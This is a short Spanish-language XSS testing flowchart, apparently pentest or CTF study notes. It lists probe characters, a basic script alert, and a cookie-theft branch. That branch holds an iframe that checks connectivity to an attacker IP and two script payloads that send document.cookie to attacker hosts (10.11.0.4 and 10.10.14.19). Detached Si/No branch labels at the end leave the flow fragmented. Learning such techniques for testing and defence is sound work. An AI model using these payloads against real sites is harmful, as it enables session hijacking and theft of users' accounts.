Sin título

XSS

Introducir en un campo web caracteres especiales

< > ' " { } ;

¿Interpreta los caracteres?

¿Les aplica alguna modificacion?

Aplicar URL enconding

Intentar bypassearlo

Ejecutar contenido JS

<script>alert('xss')</script>

Vulnerable a XSS

Robo de cookies

Verificar conectividad con la maquina atacante

<iframe src=http://10.11.0.4/report height=”0” width=”0”></iframe>

¿Hay conectividad?

Tratar de enviar una peticion de vuelta que nos de una cookie de sesion

<script>new Image().src="http://10.11.0.4/cool.jpg?output="+document.cookie;</script>

Secure flag

Cookie de sesion

<script>document.write('<img src="http://10.10.14.19/?cookie=' + document.cookie + '">')</script>

Si

Si

Si

No

No

No